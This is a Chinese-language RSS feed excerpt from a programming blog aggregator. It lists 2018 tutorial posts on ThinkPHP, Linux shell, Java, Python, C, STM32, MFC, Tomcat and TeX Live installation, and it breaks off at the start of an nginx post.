      <description>一、API php 接口开发 每个Controller需要继承BaseControllerBaseController里面包含了可使用的工具函数等 传入参数获取 使用$_REQUEST($user_id)获取user_id参数值 传入参数判断 是否为空: check_param_empty()检测API传入参数是否为空，传入有三种情况：(用empty()函数进行判断) 空【直接返回错误】字符串【用逗号分割字符串，然后逐个判断】数组【对数组的key进行判断是否为空（key为传入参数的名字，当然也可以直接判断数组每个key对应的value是否为空，但是对key进行获取$_REQUEST($key)的话会更有保证一些）】&#xA;-是否为set: check_param_isset(),检测API传入参数是否为集合：（用isset()函数进行判断）情况同“是否为空” 增删改查 where语句 统一使用数组形式，即：$where=array();然后添加每个条件；注意：如果sql语句中有alias设置别称，在\(where中一定也要加上，eg: ``\)where[‘u.id’] = “1”``;M函数&#xA;1.实例化一个没有模型文件的Model&#xA;2.项目中已经将DB_PREFIX参数设置为vc_，因此表名不需要加前缀，即：M(&#39;xm_farm_user_vegetable_link&#39;)alias: 可根据需要增加别名join: 连接其他表的话用join，一般都是使用left join，eg: join(&#39;left join vc_xm_farm_vegetable v on l.vegetable_id = v.id&#39;) field: 查找时一定要设定需要返回那些字段，一次返回所有字段是个坏的选择，同时要注意有alias的情况getField: getField一般用于查询一个字段的一条记录的情况；如果设置多个字段，返回的数组的下标会根据表的id设置，不会是数组默认下标0,1,2,… 分页 分页使用\Think\Page的构造函数完成注意：使用分页时，也需要将查询语句设定limit，即: limit($Page-&amp;gt;firstRow.&#39;,&#39;.$Page-&amp;gt;listRows)`` 步骤：&#xA;先获取总记录数，之后如果有left join没有关系，因为是根据左表来设置的，如果会有right join或者其他会改变总记录数的情况就需要视情况而定；创建Page对象： $Page = new \Think\Page($count,$_REQUEST[&#39;pagenum&#39;]); // 实例化分页类 传入总记录数 【tp框架的分页参数默认为20】 分页数据查询小程序可能会主动去获取分页结果显示【这个不清楚！！！】 返回值 构造合适的返回格式&#xA;最简单：直接将查出来的一个list返回，也就是一个一维数组：{[0]=&amp;gt;Array{} [1]=&amp;gt;Array{} …}，每个元素的内容为一个数组；需要将每个list和同级返回其他字段，则使用foreach($list as $key=&amp;gt;$item){} 然后通过设定$result[$key][‘ziduan’] = $value; $result[$key][‘list’] = $item进行数组构建；其他的就是数组内部需要加入一些其他内容的情况，视情况而定即可。 其他 返回值规范化: return_format()展示trace信息、返回内容、返回内容json格式等开发时根据小程序的效果图以及小程序开发人员的沟通确定传入参数和返回数据内容以及数据格式开发完毕后需要添加或修改API Doc将返回的json在线规范格式copy进来即可 二、后台管理 php web开发 每个Controller直接继承Controller即可 开发步骤： 进入后台管理系统=&amp;gt;开发人员选项=&amp;gt;后台菜单列表=&amp;gt;添加菜单：设置上级、名称、url商户管理员=&amp;gt;角色设置=&amp;gt;编辑对应角色=&amp;gt;勾选对应功能代码=&amp;gt;Admin=&amp;gt;View里找到相似的功能页面复制创建新的Controller和View下的新文件夹，如果功能在某个Controller下面就不需要了新的Controller和View的html文件根据之前相似的功能进行复制更改然后登陆后台进行测试首先需要初始化工作：protected function _initialize()</description>
    </item>
    <item>
      <title>linux指令（1）</title>
      <link>https://bchobby.github.io/posts/d3cf7cca0ac65943f55f4c51ae4f18a3/</link>
      <pubDate>Fri, 10 Aug 2018 17:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3cf7cca0ac65943f55f4c51ae4f18a3/</guid>
      <description>1.Linux输出重定向&#xA;&amp;gt;: 会重写文件，如果文件里面有内容会覆盖。 &amp;gt;&amp;gt;这个是将输出内容追加到目标文件中。如果文件不存在，就创建文件。 &amp;gt;&amp;gt;：追加文件，也就是如果文件里面有内容会把新内容追加到文件 是定向输出到文件，如果文件不存在，就创建文件；如果文件存在，就将其清空。&#xA;2.exec命令 用于调用并行执行指令&#xA;3.tee命令 tee命令用于将数据重定向到文件，另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。&#xA;-a：向文件中重定向时使用追加模式； -i：忽略中断（interrupt）信号。 4.set指令 set指令能设置所使用shell的执行方式，可依照不同的需求来做设置。&#xA;参数说明：&#xA;-a 标示已修改的变量，以供输出至环境变量。 -b 使被中止的后台程序立刻回报执行状态。 -C 转向所产生的文件无法覆盖已存在的文件。 -d Shell预设会用杂凑表记忆使用过的指令，以加速指令的执行。使用-d参数可取消。 -e 若指令传回值不等于0，则立即退出shell。 -f　取消使用通配符。 -h 自动记录函数的所在位置。 -H Shell 可利用&#34;!&#34;加&amp;lt;指令编号&amp;gt;的方式来执行history中记录的指令。 -k 指令所给的参数都会被视为此指令的环境变量。 -l 记录for循环的变量名称。 -m 使用监视模式。 -n 只读取指令，而不实际执行。 -p 启动优先顺序模式。 -P 启动-P参数后，执行指令时，会以实际的文件或目录来取代符号连接。 -t 执行完随后的指令，即退出shell。 -u 当执行时使用到未定义过的变量，则显示错误信息。 -v 显示shell所读取的输入值。 -x 执行指令后，会先显示该指令及所下的参数。 +&amp;lt;参数&amp;gt; 取消某个set曾启动的参数。 5.Linux指令中if条件语句 每个if语句都要用fi结束，其应用格式如下：&#xA;if 条件 then Command1 [else Command2] #中括号表示else语句可以没有 fi #别忘了这个结尾 if语句忘了结尾fi,在运行时报错如下： test.sh: line xx: syntax error: unexpected end of fi Linux shell if 语法 基本语法: if [ command ]; then 符合该条件执行的语句 fi 2、扩展语法： if [ command ];then 符合该条件执行的语句 elif [ command ];then 符合该条件执行的语句 else 符合该条件执行的语句 fi</description>
    </item>
    <item>
      <title>差分数列</title>
      <link>https://bchobby.github.io/posts/b65ac8df4836c1910aaf556a3feb2303/</link>
      <pubDate>Fri, 10 Aug 2018 14:17:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b65ac8df4836c1910aaf556a3feb2303/</guid>
      <description>https://blog.csdn.net/wu_tongtong/article/details/79115921</description>
    </item>
    <item>
      <title>封装</title>
      <link>https://bchobby.github.io/posts/6912abd3925b1e36b81d28bf446af6ad/</link>
      <pubDate>Thu, 09 Aug 2018 22:22:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6912abd3925b1e36b81d28bf446af6ad/</guid>
      <description>1. private（私有） 表示私有，只有自己类能访问&#xA;2. default(默认)表示没有修饰符修饰，只有同一个包的类能访问&#xA;3. protected（受保护的）表示可以被同一个包的类以及其他包中的子类访问&#xA;Public（公共）表示可以被该项目的所有包中的所有类访问 这四个修饰符可以修饰属性和方法。&#xA;类的修饰符只有两个：public 和default&#xA;private（私有）调用：&#xA;例如：public class FengZhuang {&#xA;private int age;&#xA;public int getAge() {&#xA;return age;&#xA;}&#xA;public void setAge(int age) {&#xA;this.age = age;&#xA;}&#xA;public String toString() {&#xA;return &#34;FengZhuang [数字&#34;+age+&#34;]&#34;;&#xA;}&#xA;}&#xA;get set的使用先写出一对，然后自定义生成。还需要定义生成toString（创建完对象后，然后Syetem.out.println(创建的对象名)；&#xA;输入时Set 输出是Get&#xA;例如： Book book2 = new Book();&#xA;book2.setBookName(&#34;大话西游&#34;);&#xA;System.out.println(book.getBookName());</description>
    </item>
    <item>
      <title>关于python导入第三方库的常见错误</title>
      <link>https://bchobby.github.io/posts/ba762e9285a7395f63d7b50f18774434/</link>
      <pubDate>Thu, 09 Aug 2018 17:41:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba762e9285a7395f63d7b50f18774434/</guid>
      <description> 1、权限不足 打开cmd时，应右键选择以管理员身份运行，如下图：&#xA;2、未切换到指定目录下【C:\Program Files\Python36\Scripts】 输入：&#xA;cd C:\Program Files\Python36\Scripts 然后再输入对应命令即可。&#xA;3、pip未更新 出现类似提示时：&#xA;输入下方命令进行更新即可&#xA;python -m install --upgrade pip </description>
    </item>
    <item>
      <title>不同设备屏幕尺寸和DPR适配</title>
      <link>https://bchobby.github.io/posts/0b9229ef0e73ab04bf6af604fff084fc/</link>
      <pubDate>Thu, 09 Aug 2018 14:28:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b9229ef0e73ab04bf6af604fff084fc/</guid>
      <description>为什么需要适配 目前市面上设备屏幕属性十分多样化（宽度和DPR并不一致），而作为设计和前端开发，无法为每个尺寸的设备单独设计一套UI并将其转为前端代码，这不现实。所以我们需要一套方案来将一套设计稿完美呈现在不同尺寸的设备上。&#xA;设备的多样性不止体现在设备屏幕尺寸上，还有屏幕的DPR也不同，有1，有2，有3等等。不同DPR的设备展示的视图清晰度也不同，所以这套方案要考虑屏幕尺寸和屏幕清晰度这两个因素。&#xA;一些基本概念 一个屏幕的DPR是根据屏幕的物理像素除以屏幕的设备独立像素（也叫密度无关像素）得来的（DPR = 物理像素 / 设备独立像素）。iphone6宽度的设备独立像素是375，宽度的物理像素是750，那么就意味着DPR是2。这就意味着需要四个物理像素来描绘一个设备独立像素，就像一个田（请忽略边框）的形状。&#xA;设备独立像素又叫做密度无关像素，可以认为是系统中一个点，这个点可以是可以由程序使用的虚拟像素（如CSS的px），然后系统会将这个像素转换为物理像素，在屏幕的DPR为2的设备上CSS的1px就会转为4个物理像素。&#xA;屏幕密度（PPI），通常是计算每英寸有多少个像素（设备独立像素），计算公式是：屏幕斜对角的像素数除以屏幕的英寸得出PPI的值。&#xA;对一开始适配问题做出一定程度的解释 根据上面DPR解释可以知道在DPR为2的屏幕上会使用四个设备像素来描述一个CSS像素。在这种情况下一张100*100的图片在页面上的尺寸也是100*100那么其实是200*200个物理像素来描绘这张图片，很明显图片的像素是不够的，这时候系统就会让剩下的像素就近取色，这样就造成了图片的模糊，想要图片不模糊要么提供一个200*200的图片，要么将页面上100*100的容器缩小到50*50。&#xA;在DPR为2的屏幕上高度的1px其实是由2个物理像素描绘的，所以该屏幕可以描绘的最小像素应该是0.5px，所以这个1px应该是0.5px才对。&#xA;怎么做适配 既然提出了问题那么就需要解决，解决方案主要来自手淘的flexibleJS，其原理就是适配不同屏幕尺寸主要用到了rem，而适配不同的DPR主要用到了&amp;lt;meta name=&#34;viewport&#34; content=&#34;initial-scale=1/dpr&#34;/&amp;gt;&#xA;不同屏幕尺寸 在CSS中单位使用rem，那么只要修改html的font-size那么这个页面的尺寸都会随之等比例改变。例如：&#xA;首先我们知道设计稿宽度例如750px，其中有个100px的正方形&#xA;其次我们也知道当前运行代码的设备的屏幕宽度document.documentElement.clientWidth，这样就可以算出来在当前设备下这个正方形的宽高&#xA;通过观察上面设备下元素尺寸的计算公式 100px * document.documentElement.clientWidth / 750。可以简化成 设计稿元素尺寸 * 某个系数，可以联想到rem。这个单位后面的系数就是rem对应的font-size值。&#xA;所以在375屏幕尺寸下rem对应的font-size就是 375 / 750 等于 0.5px，0.5px * 100px 等于 50px。所以750下100单位在375设备下为50单位。&#xA;到这里我们得到公式 x = 元素在设计稿上的尺寸 * (设备宽度 / 设计稿宽度)，其中 设备宽度 / 设计稿宽度是html的font-size值，也就是1rem。&#xA;但问题是浏览器有最小font-size的限制，目前算出来的1rem对于的font-size是0.5px，显然小于最小font-size的限制。&#xA;所以我们要将1rem对应的font-size搞大点，修改下公式：&#xA;x = (元素在设计稿上的尺寸 / 100) * ((设备宽度 / 设计稿宽度) * 100)&#xA;将1rem对应的font-size变大之后，要将其调整回来，需要对设计稿上的尺寸再缩小对应倍数。&#xA;到这里我们就完成了一份设计稿适配不同尺寸设备的方案。&#xA;&amp;lt;div class=&#39;container&#39;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;style&amp;gt; .</description>
    </item>
    <item>
      <title>优达学城 机器学习课程资源</title>
      <link>https://bchobby.github.io/posts/384211e22c91383cd5389ffda8274253/</link>
      <pubDate>Wed, 08 Aug 2018 21:33:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/384211e22c91383cd5389ffda8274253/</guid>
      <description>http://pan.baidu.com/s/1geVx2r5&#xA;47pe</description>
    </item>
    <item>
      <title>Eclipse 部分快捷键失效解决办法整理</title>
      <link>https://bchobby.github.io/posts/e570af6f6db8b78a0480f559ca8d0b65/</link>
      <pubDate>Wed, 08 Aug 2018 12:01:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e570af6f6db8b78a0480f559ca8d0b65/</guid>
      <description>今天打开eclipse突然发现有部分快捷键失效了，比如shift + enter ， ctrl + d, ctrl +1 … 。但是还有部分的快捷键可以使用。很不方便，就从网上搜索解决办法，但是针对我自己的问题，好多办法都用不了，所以就自己摸索着最终把这个问题解决了。&#xA;记录一下自己整理的解决办法，以便以后再出问题可以使用。 从网上搜索大概有两到三种办法，再把我自己摸索的办法整理出来：（由简易到复杂排序）&#xA;解决办法 第一种 ：很简单的一种方法，我的问题就是这么解决的，把eclipse 当前窗口打开的所以文件窗口全部关闭，重新打开一下就可以使用了，有时候问题解决就这么简单，就不需要再去使用第二种第三种了。&#xA;第二种：快捷键只有在Java 编辑模式下才可用，看一下自己的编辑模式是不是没有选Java ， Window-&amp;gt;Perspective-&amp;gt;Open Perspective-&amp;gt;Java 如果没有Java,选择Other,选择Java&#xA;第三种：前两种没有奏效的情况下，可以尝试重置一下快捷键： eclipse–&amp;gt; window –&amp;gt; preferences –&amp;gt; general –&amp;gt;keys –&amp;gt;Restore Defaults –&amp;gt; Apply and Close&#xA;第四种：前三种都不可以的话，那就要检查一下当前运行的软件是不是有快捷键冲突，冲突的话修改一下或者屏蔽掉。&#xA;第五种：这是从网上查到的一种方法，我自己也没有尝试，一般不要轻易尝试这种办法，因为这相当于是把eclipse重置了，还要很麻烦的重新去设置，最后真的没有办法了再去尝试。把 eclipse 的工作空间的.metadata文件夹删掉，然后需要自己重新配置。&#xA;如果大家出现了类似的问题，希望这篇博客能够帮助大家解决。</description>
    </item>
    <item>
      <title>Fork/Join框架原理解析</title>
      <link>https://bchobby.github.io/posts/f82340e47ed5c6ced18b67163296933d/</link>
      <pubDate>Wed, 08 Aug 2018 10:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f82340e47ed5c6ced18b67163296933d/</guid>
      <description>1、概述 Fork/Join Pool采用优良的设计、代码实现和硬件原子操作机制等多种思路保证其执行性能。其中包括（但不限于）：计算资源共享、高性能队列、避免伪共享、工作窃取机制等。本文（以及后续文章）试图和读者一起分析JDK1.8中Fork/Join Pool的源代码实现，去理解Fork/Join Pool是怎样工作的。当然这里要说明一下，起初本人在决定阅读Fork/Join归并计算相关类的源代码时（ForkJoinPool、WorkQueue、ForkJoinTask、RecursiveTask、ForkJoinWorkerThread等），并不觉得这部分代码比起LinkedList这样的类来说有多少难度， 但其中大量使用位运算和位运算技巧，有大量Unsafe原子操作。博主能力有限，确实不能在短时间内将所有代码一一详细解读，所以也希望各位读者能帮助笔者一同完善。&#xA;2、要点 2-1. Fork/Join Pool实例化 实际上在之前文章中给出的Fork/Join Pool使用实例中，我们使用的new ForkJoinPool()或者new ForkJoinPool(N)这些方式来进行操作，这并不是ForkJoinPool作者Doug Lea推荐的使用方式。在ForkJoinPool主类的注释说明中，有这样一句话：&#xA;A static commonPool() is available and appropriate for most applications. The common pool is used by any ForkJoinTask that is not explicitly submitted to a specified pool.&#xA;Using the common pool normally reduces resource usage (its threads are slowly reclaimed during periods of non-use, and reinstated upon subsequent use).&#xA;以上描述大致的中文解释是：ForkJoinPools类有一个静态方法commonPool()，这个静态方法所获得的ForkJoinPools实例是由整个应用进程共享的，并且它适合绝大多数的应用系统场景。使用commonPool通常可以帮助应用程序中多种需要进行归并计算的任务共享计算资源，从而使后者发挥最大作用（ForkJoinPools中的工作线程在闲置时会被缓慢回收，并在随后需要使用时被恢复），而这种获取ForkJoinPools实例的方式，才是Doug Lea推荐的使用方式。代码如下：&#xA;...... ForkJoinPool commonPool = ForkJoinPool.</description>
    </item>
    <item>
      <title>c语言输出菱形</title>
      <link>https://bchobby.github.io/posts/ead651c3c50d4c4d133f3e0c755e045b/</link>
      <pubDate>Tue, 07 Aug 2018 23:18:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ead651c3c50d4c4d133f3e0c755e045b/</guid>
      <description>#include&amp;lt;stdio.h&amp;gt;&#xA;void main()&#xA;{&#xA;int i,j,k,a;&#xA;printf(&#34;请输入几行菱形:&#34;);&#xA;scanf(&#34;%d&#34;,&amp;amp;k); a=(k+1)/2; for(i=1;i&amp;lt;=a;i++)&#xA;{&#xA;for(j=1;j&amp;lt;=a-i;j++)&#xA;{&#xA;printf(&#34; &#34;);&#xA;}&#xA;for(j=1;j&amp;lt;=2*i-1;j++)&#xA;{&#xA;printf(&#34;*&#34;);&#xA;}&#xA;printf(&#34;\n&#34;); }&#xA;for(i=k-a;i&amp;gt;=1;i--)&#xA;{&#xA;for(j=1;j&amp;lt;=a-i;j++)&#xA;{&#xA;printf(&#34; &#34;);&#xA;}&#xA;for(j=1;j&amp;lt;=2*i-1;j++)&#xA;{&#xA;printf(&#34;*&#34;);&#xA;}&#xA;printf(&#34;\n&#34;); } }</description>
    </item>
    <item>
      <title>Win10系统怎么清理磁盘临时文件？</title>
      <link>https://bchobby.github.io/posts/4d51fb22541d285c276f2e4cbffdca29/</link>
      <pubDate>Tue, 07 Aug 2018 19:41:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d51fb22541d285c276f2e4cbffdca29/</guid>
      <description>我们在使用电脑时，系统经常会产生许多垃圾文件，占用磁盘存储空间。在Win10系统中，我们可以通过清理系统盘的临时文件来释放一些存储空间。下面好系统U盘启动就来告诉你具体的方法步骤。 Win10系统C盘清理临时文件的方法 1、在开始菜单中打开Windows设置，选择点击“系统”项。 2、在左侧栏中选择点击“存储”，在右侧栏中就可以看到电脑磁盘的存储情况了，我们选择点击C盘。 3、点击进入后，电脑会扫描该磁盘中的文件存储情况并进行分类，分类过后，我们选择点击“临时文件”。 4、在“临时文件”的设置中，系统会将其分类，我们可以根据每种文件的描述选择是否删除。选择勾选需要删除的文件后，点击上方的“删除文件”按钮即可进行删除，以此来释放磁盘空间。 以上就是Win10系统C盘存储空间不足清理临时文件的方法了，如果你的电脑C盘存储空间也不太够，不妨按照上面的方法来清理一下多余文件，释放一些存储空间。 文章转自好系统U盘启动： https://www.vkebao.com/jiaocheng/fCqtE1.html 来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/31536622/viewspace-2199355/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/31536622/viewspace-2199355/</description>
    </item>
    <item>
      <title>Tomcat修改默认网站首页目录</title>
      <link>https://bchobby.github.io/posts/d4b1db0d79fabc4ebf45454be9e04e7c/</link>
      <pubDate>Tue, 07 Aug 2018 08:56:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4b1db0d79fabc4ebf45454be9e04e7c/</guid>
      <description> vim /app/tomcat/conf/server.xml #appBase 定义站点目录 #docBase 定义首页目录 ... &amp;lt;Host name=&#34;localhost&#34; appBase=&#34;webapps&#34; unpackWARs=&#34;true&#34; autoDeploy=&#34;true&#34;&amp;gt; &amp;lt;Context path=&#34;&#34; docBase=&#34;/app/tomcat/webapps/test&#34; debug=&#34;0&#34; reloadable=&#34;false&#34; crossContext=&#34;true&#34;/&amp;gt; ... &amp;lt;/Host&amp;gt; </description>
    </item>
    <item>
      <title>python字符串反转的三种方法</title>
      <link>https://bchobby.github.io/posts/335e07563468e99d43c8825c9e703d93/</link>
      <pubDate>Mon, 06 Aug 2018 21:07:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/335e07563468e99d43c8825c9e703d93/</guid>
      <description>1.使用字符串切片 &amp;gt;&amp;gt;&amp;gt; def reverse1():&#xA;... s = input(&#34;please input a string: &#34;)&#xA;... return s[::-1]&#xA;... &amp;gt;&amp;gt;&amp;gt; reverse1()&#xA;please input a string: yangyue!&#xA;&#39;!euygnay&#39;&#xA;2.使用递归 &amp;gt;&amp;gt;&amp;gt; def reverse2(s):&#xA;... if s == &#34;&#34;:&#xA;... return s&#xA;... else:&#xA;... return reverse2(s[1:]) + s[0]&#xA;... &amp;gt;&amp;gt;&amp;gt; s = &#39;yangxinyue&#39;&#xA;&amp;gt;&amp;gt;&amp;gt; reverse2(s)&#xA;&#39;euynixgnay&#39;&#xA;3.使用列表的reverse &amp;gt;&amp;gt;&amp;gt; def reverse3(s):&#xA;... l = list(s)&#xA;... l.reverse()&#xA;... print(&#34;&#34;.join(l))&#xA;... &amp;gt;&amp;gt;&amp;gt; reverse3(&#39;yangxinyue&#39;)&#xA;euynixgnay</description>
    </item>
    <item>
      <title>MFC DLL 不能正确调用的问题   &#43;   AFX_MANAGE_STATE(AfxGetStaticModuleState());</title>
      <link>https://bchobby.github.io/posts/846c3fd07914fe7eeee07d26551f1a38/</link>
      <pubDate>Mon, 06 Aug 2018 20:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/846c3fd07914fe7eeee07d26551f1a38/</guid>
      <description>今天下午用mfc对话框程序调用另一个mfc dll,这是问题出现了，程序正常运行，但是点击对话框上的按钮并不能调用DLL里面的资源，尝试了各种办法也无法解决，吃完晚饭后，沉下心来重头看代码，发现了这样一段MFC自动生成的注释：&#xA;//TODO: 如果此 DLL 相对于 MFC DLL 是动态链接的， //&#x9;则从此 DLL 导出的任何调入 //&#x9;MFC 的函数必须将 AFX_MANAGE_STATE 宏添加到 //&#x9;该函数的最前面。 // //&#x9;例如: // //&#x9;extern &#34;C&#34; BOOL PASCAL EXPORT ExportedFunction() //&#x9;{ //&#x9;AFX_MANAGE_STATE(AfxGetStaticModuleState()); //&#x9;// 此处为普通函数体 //&#x9;} // //&#x9;此宏先于任何 MFC 调用 //&#x9;出现在每个函数中十分重要。 这意味着 //&#x9;它必须作为函数中的第一个语句 //&#x9;出现，甚至先于所有对象变量声明， //&#x9;这是因为它们的构造函数可能生成 MFC //&#x9;DLL 调用。 // //&#x9;有关其他详细信息， //&#x9;请参阅 MFC 技术说明 33 和 58。 于是在调用DLL的函数之前加上 AFX_MANAGE_STATE(AfxGetStaticModuleState()); 之后，问题迎刃而解。</description>
    </item>
    <item>
      <title>C语言中的scanf()和printf()函数</title>
      <link>https://bchobby.github.io/posts/1b12a04537eb6591916065b14ca63bdf/</link>
      <pubDate>Mon, 06 Aug 2018 08:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b12a04537eb6591916065b14ca63bdf/</guid>
      <description>C语言中的输入、输出函数，在C++中一直使用cin、cout，对scanf和printf的使用不太熟悉，现做以下整理。&#xA;scanf()函数详解 函数名：scanf 功能：执行格式化输入 用法：int scanf(char *format,[argument,...]); scanf()函数是通用终端格式化输入函数，它从标准输入设备(键盘)读取输入的信息。可以读入任何固有类型的数据并自动把数值变换成适当的机内格式。 其调用格式为：scanf(“&amp;lt;格式化字符串&amp;gt;”,&amp;lt;地址表&amp;gt;)； scanf()函数返回成功赋值的数据项数，出错时则返回EOF； 其控制串由三类字符构成： 1、格式化说明符 2、空白符 3、非空白符&#xA;格式化说明符 格式化字符说明%a读入一个浮点值(仅C99有效)%A同上%c读入一个字符%d读入十进制整数%i读入十进制，八进制，十六进制整数%o读入八进制整数%x读入十六进制整数%X同上%c读入一个字符%s读入一个字符串%f读入一个浮点数%F同上%e同上%E同上%g同上%G同上%p读入一个指针%u读入一个无符号十进制整数%n至此已读入值的等价字符数%[]扫描字符集合%%读%符号 附加格式说明字符表&#xA;修饰符说明L/l长度修饰符输入“长”数据h长度修饰符输入“短”数据W整型常数指定输入数据所占宽度*星号空读一个数据hh,ll同上h、l，但仅对C99有效 空白字符 空白字符会使scanf()函数在读操作中略去输入中的一个或多个空白字符，空白符可以是space,tab,newline等等，直到第一个非空白符出现为止。&#xA;非空白字符 一个非空白字符会使scanf()函数在读入时剔除掉与这个非空白字符相同的字符。&#xA;实例详解 问题一 例1：&#xA;#include &#34;stdio.h&#34; int main(void) { int a,b,c; scanf(&#34;%d,%d,%d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c); printf(&#34;%d,%d,%d/n&#34;,a,b,c); return 0; } 运行时按如下方式输入三个值： 3□4□5　↙（输入a,b,c的值） 3，4，5 （printf输出的a，b，c的值） （1） &amp;amp;a、&amp;amp;b、&amp;amp;c中的&amp;amp;是地址运算符，分别获得这三个变量的内存地址。 （2） “%d%d%d”是按十进值格式输入三个数值。输入时，在两个数据之间可以用一个或多个空格、tab键、回车键分隔。 以下是合法输入方式： ① 3□□4□□□□5↙ ② 3↙ 4□5↙ ③ 3（tab键）4↙ 5↙&#xA;例2&#xA;#include &#34;stdio.h&#34; int main(void) { int a,b,c; scanf(&#34;%d,%d,%d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c); printf(&#34;%d,%d,%d/n&#34;,a,b,c); return 0; } 运行时按如下方式输入三个值： 3,4,5　↙（输入a,b,c的值） 或者 3,□4,□5　↙（输入a,b,c的值） 3,□□□4,□5　↙（输入a,b,c的值） …… 都是合法的，但是”,”一定要跟在数字后面，如： 3□，4,□5　↙就非法了，程序出错。（解决方法与原因后面讲） 再如： 1、sacnf()中的变量必须使用地址 int a, b; scanf(&#34;</description>
    </item>
    <item>
      <title>STM32中断方式检测按键</title>
      <link>https://bchobby.github.io/posts/bc9033d8ddec42263bbe2ce745808339/</link>
      <pubDate>Sun, 05 Aug 2018 22:09:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc9033d8ddec42263bbe2ce745808339/</guid>
      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1.简述 对于按键，常见的是通过MCU不断检测按键连接 GPIO 的状态变化（高–&amp;gt;低或低—&amp;gt;高），来确认是否有按键输入，这样的缺点很明显，MCU 一直在循环检测，对资源是一种浪费，不够高效。对于STM32，GPIO 是可以配置成中断的，有这个优势，我们就可以通过中断的方式来检测 GPIO 上电平的变化，进一步的得到按键的状态。&#xA;2.硬件电路 按键无上拉电阻，需要在 GPIO 上设为上拉状态，提供一个确定电平。&#xA;3.驱动实现 //按键初始化做了三件事 ///1.按键连接的GPIO初始化;2.中断配置初始化;3.中断优先级配置 void Key_Init(void) { GPIO_InitTypeDef GPIO_InitStructure; EXTI_InitTypeDef EXTI_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA,ENABLE);&#x9;//GPIOA时钟使能 RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO,ENABLE);&#x9;//复用功能时钟打开 GPIO_PinRemapConfig(GPIO_Remap_SWJ_JTAGDisable,ENABLE);&#x9;//关闭JTAG GPIO_InitStructure.GPIO_Pin = GPIO_Pin_15; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPU; GPIO_Init(GPIOA, &amp;amp;GPIO_InitStructure); GPIO_EXTILineConfig(GPIO_PortSourceGPIOA,GPIO_PinSource15);&#x9;//配置GPIO为中断引脚 EXTI_InitStructure.EXTI_Line = EXTI_Line15; EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Falling;&#x9;//下降沿触发 EXTI_InitStructure.EXTI_LineCmd = ENABLE; EXTI_Init(&amp;amp;EXTI_InitStructure); NVIC_InitStructure.NVIC_IRQChannel = EXTI15_10_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&amp;amp;NVIC_InitStructure); } //中断服务函数 void EXTI15_10_IRQHandler(void) { if(EXTI_GetITStatus(EXTI_Line15) !</description>
    </item>
    <item>
      <title>TeX Live2018_latex安装教程</title>
      <link>https://bchobby.github.io/posts/aecb7954d641675329cbaa7c4f73ad13/</link>
      <pubDate>Sun, 05 Aug 2018 15:08:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aecb7954d641675329cbaa7c4f73ad13/</guid>
      <description>Y·S 2018年8月5日15:00:32&#xA;点击链接https://tug.org/texlive/ 注：Latex不止TeX这一种，这里只给出了TeX的安装，如果想尝试别的软件的同学可以自行寻找其他教程。&#xA;并执行如下操作：&#xA;第一步&#xA;第二步&#xA;第三步&#xA;第四步&#xA;第五步&#xA;装载下载好了的Tex Live安装包：&#xA;分以下几种情况：&#xA;1.win10系统：右键下载好的ISO文件，点击打开方式—&amp;gt;windows资源管理器 即可。&#xA;2.其他windows系统：自行安装虚拟光驱软件并装载。&#xA;3.Ubuntu等linux系统：&#xA;sudo mkdir /media/iso&#xA;sudo mount your-iso-file.iso /media/iso/ -t iso9660 -o loop&#xA;4.Mac系统：自行安装Disk Utility。&#xA;5.其他系统：不知道。&#xA;第六步&#xA;耐心等待他的配置，中途可能会跳出一个警告，点击continue无视就好。&#xA;第七步&#xA;安装路径按照自己喜好设置。&#xA;安装内容，有许多不必要的语言包，自行选择处理，数学专业的论文大都只要英语和中文即可（大神除外），德语法语等语言大可不必（你一定要装也行）。&#xA;第八步&#xA;静静地看着它装完。&#xA;第九步&#xA;检查一下安装是否成功，验证方式如下：&#xA;同时按下键盘上的win+R两个键（不知道什么是win键的去百度查一下）&#xA;随后出现“运行”窗口&#xA;输入“cmd”，然后按下回车。&#xA;在弹出来的命令提示符中，输入“tex -v”，然后按下回车。&#xA;这里会显示已安装的tex的版本号等信息&#xA;同理，如果输入”latex -v”，则会输出latex的版本信息：&#xA;类似的，还有“xelatex -v”:&#xA;如果这些版本信息正常输出，说明TeX Live的安装完全正常。&#xA;第十步&#xA;点击http://texstudio.sourceforge.net/ ，下载图形化界面。&#xA;下载完成之后，就是一路傻瓜式安装。&#xA;最后，打开安装好的TeXstudio。&#xA;至此，安装过程完毕。</description>
    </item>
    <item>
      <title>nginx一次请求，转发到多个地址,引起iphash的session不能共享问题</title>
      <link>https://bchobby.github.io/posts/cfc430b9468b93e0e198bda0beb76a61/</link>
